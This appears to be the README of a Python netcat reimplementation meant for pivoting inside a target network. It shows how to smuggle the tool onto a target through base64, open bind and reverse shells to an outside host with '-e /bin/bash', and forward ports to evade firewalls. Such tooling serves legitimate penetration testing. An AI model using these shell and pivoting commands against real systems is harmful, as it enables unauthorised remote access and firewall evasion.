Dependency-less Python 2 and Python 3 compatible implementation of netcat which works on 32bit and 64bit systems to easily pivot your target.

**Motivation**

To have a single tool for older, newer, 32bit and 64bit machines with relevant options (`-e`. `-L` and `-R`) to create bind shells, local and remote port-forwards.


## :tada: Install
```bash
pip install netcat
```


## :coffee: TL;DR

#### Copy to target
```bash
# Copy base64 data to clipboard from where you have internet access
curl https://raw.githubusercontent.com/cytopia/netcat/master/bin/netcat.py | base64

# Paste it on the target machine
echo "<BASE64 STRING>" | base64 -d > netcat.py
chmod +x netcat.py
```
#### Summon shells
```bash
# bind shell
netcat.py -l -e '/bin/bash' 8080
```
```bash
# reverse shell
netcat.py -e '/bin/bash' example.com 4444
```
#### Port-forwarding without SSH
```bash
# Make local port available to public interface locally
netcat.py -L 127.0.0.1:3306 192.168.0.1 3306
```
```bash
# Remote port-forwarding to evade firewalls
netcat.py -R 127.0.0.1:3306 example.com 4444
```


## :computer: Usage
```
usage: netcat.py [-Cnuv] [-e cmd] hostname port
       netcat.py [-Cnuv] [-e cmd] -l [hostname] port
       netcat.py [-Cnuv] -L addr:port [hostname] port
       netcat.py [-Cnuv] -R addr:port hostname port
       netcat.py -V, --version
       netcat.py -h, --help


Netcat implementation in Python with connect, listen and forward mode.

positional arguments:
  hostname              Address to listen, forward or connect to
  port                  Port to listen, forward or connect to

mode arguments:
  -l, --listen          Listen mode: Enable listen mode for inbound connects
  -L addr:port, --local addr:port
                        Local forward mode: Specify local <addr>:<port> to which traffic
                        should be forwarded to.
                        Netcat will listen locally (specified by hostname and port) and
                        forward all traffic to the specified value for -L/--local.
  -R addr:port, --remote addr:port
                        Remote forward mode: Specify local <addr>:<port> from which traffic
                        should be forwarded from.
                        Netcat will connect remotely (specified by hostname and port) and
                        for ward all traffic from the specified value for -R/--remote.

optional arguments:
  -e cmd, --exec cmd    Execute shell command. Only works with connect or listen mode.
  -C, --crlf            Send CRLF as line-endings (default: LF)
  -n, --nodns           Do not resolve DNS
  -u, --udp             UDP mode
  -v, --verbose         Be verbose and print info to stderr. Use -vv or -vvv for more verbosity.

misc arguments:
  -h, --help            Show this help message and exit
  -V, --version         Show version information and exit

examples:

  Create bind shell
    netcat.py -l -e '/bin/bash' 8080

  Create reverse shell
    netcat.py -e '/bin/bash' example.com 4444

  Local forward: Make localhost port available to another interface
    netcat.py -L 127.0.0.1:3306 192.168.0.1 3306

  Remote forward: Forward local port to remote server
    netcat.py -R 127.0.0.1:3306 example.com 4444
```
